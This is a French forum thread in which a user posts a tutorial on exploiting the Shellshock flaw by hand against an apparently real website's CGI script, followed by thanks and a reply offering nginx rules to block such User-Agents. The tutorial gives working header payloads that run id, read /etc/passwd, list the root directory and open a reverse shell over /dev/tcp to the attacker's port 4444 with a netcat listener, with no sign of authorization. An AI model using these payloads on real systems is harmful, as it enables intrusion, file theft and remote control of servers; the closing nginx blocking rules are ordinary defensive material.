Tutoriel Exploitation de la vulnérabilité Shellshock à la main (manuellement)

[Jajusa]

Suite à notre approche de l'exploitation d'une faille Shellshock via Metasploit, aujourd'hui je vais vous monter la faille shellshock exploitée à la main (personnellement je préfère cette méthode).

Avant de commencer, lisez ce qui suit : http://www.silicon.fr/faille-shellsh...nee-97165.html


Dans un premier temps je vais rechercher la faille sur ce site :http://site.ch/
Et en cherchant un peu dans ses sources, je remarque une possibilité d'exploitation via le fichier cgi-bin/rpmrepo_scripts/list_rpms.sh

Donc je vais lancer BurpSuite pour capter cette URL , puis je lance le mode repeater pour modifier à la volée les paramètres, mais celui qui m'intéresse est USER-AGENT. Donc si je parviens à injecter du code dans le header, je devrais obtenir les informations passées en argument.

Maintenant on va tester si la faille est bien présente , en modifiant l'USER-AGENT et essayons de faire afficher des données , via une injection de code.Tiens on va demander la version du serveur, avec la commande classique et bien connue: id

Comme on le voit, la modification du header USER-AGENT qui sert pour identifier votre browser web, par un code d'injection () { :;}; echo; echo "jajusa"; /bin/bash "id" va directement nous donner l'identifiant actuel.

Bon c'est sympa, mais si on part du principe que ces données sont visible, on devrait pouvoir lister les répertoires, mais comment?

Simplement en modifiant notre code d'injection ( comprendre les commandes Linux est obligatoire).
Donc, disons ceci:

() { :;}; echo; echo "jajusa"; /bin/bash "id" -> nous donne l'identifiant
Donc si on modifie le /bin/bash par un simple /bin/cat par exemple, je devrai pouvoir lire les fichiers.
Testons sur le célèbre fichier /etc/passwd
Donc on modifie le code par () { :;}; echo; echo "jajusa"; /bin/cat /etc/passwd

Voilà c'est très simple , non?
Bon je vais finir pour un listing complet depuis la racine.
Donc le code d'injection ici fonctionnera avec la commande ls
() { :;}; echo; echo "jajusa"; /bin/ls -lah / ici ls -lah pour voir les permissions puis / pour indiquer la racine du serveur.



Bon maintenant allons un peu plus loin que l'injection de code dans l'entête USER-AGENT, et on va se renvoyé une petite connexion via le port 4444.

Donc ce faire, il nous faut 3 choses:
-Le port 4444 ouvert sur notre box
-Une ip DNS (noip par exemple), non obligatoire
-Et un code pour nous renvoyé la connexion.
Dont voici le code d'injection:
() { :;}; /bin/bash -c "bash -i >& /dev/tcp/Votre_IP ou Votre_Ip_DNS/4444 0>&1"

Voilà ensuite on va mettre lancer une écoute sur le port 4444 avec netcat: nc -lp 4444 -vv

Correctif: un simple apt-get update, devrait corriger cette vulnérabilité.

Voilà ,j'espère que ce tutoriel vous as plu.

Prochain chapitre : Shellshock via le protocole smtp Qmail.

[vincauddu29]

Merci beaucoup pour le tuto

Envoyé de mon Nexus 5 en utilisant Tapatalk

[DreAmuS]

Merci pour ce tutoriel.

[_42_]

(...)
Correctif: un simple apt-get update, devrais corrigé cette vunérabilité.
(...)

C'est vrai ! ;-)
De l'importance de mettre ABSOLUMENT à jour son système d'exploitation !

Néanmoins, il peut être intéressant de bloquer ce genre de requête au niveau du serveur web, tel qu'avec nginx - si je ne me trompe pas - avec une déclaration map, dans le contexte http, par exemple - :

map $http_user_agent $bad_bot {
    default 0;
    ~(?i)("^\(\)\s\{") 1;
}

Et, dans le contexte du fichier de config du domaine, cette déclaration suivante :

if ($bad_bot) { return 444; }

À minimum de générer une erreur 301 - mais si je ne me trompe pas, ce n'est pas le plus adhoc ...
Pourquoi 444 ? Cela a le propos de fermer la connexion directement, sans autre motif !
(et, tant pis, pour celui qui veut s'amuser ... n'est-ce pas ?!)

[Jajusa]

Merci à toi _42_ (pas _47) pour cette belle participation.

Edité par Fred

[_42_]

(...)

map $http_user_agent $bad_bot {
    default 0;
    ~(?i)("^\(\)\s\{") 1;
}

(...)

Je me réponds - parce que je ne suis pas arrivé à éditer mon message !
Et, je présente mes excuses "à l'assemblée" parce que, bien involontairement, je vous induis en erreur !

En effet, le bon masque de pattern pour bloquer un tel UA, grâce à la déclaration map, dans le contexte http, est :

map $http_user_agent $bad_bot {
    default 0;
    ~*\{.*\:\; 1;
}

Et, là, ça fonctionne vraiment ...
Et, ce n'est pas de moi, c'est donné sur le forum nginx ...
Leur réponse est d'autant plus intéressante qu'elle montre aussi comment ne pas loguer cette attaque, si vous désirez le faire.

Bon, moi, je courre me cacher, et pleurer toute ma honte, dans mon coin :'(

----

PS : j'ai testé avec la regexp suivante - qui fonctionne aussi - :

~*\{.*\: 1;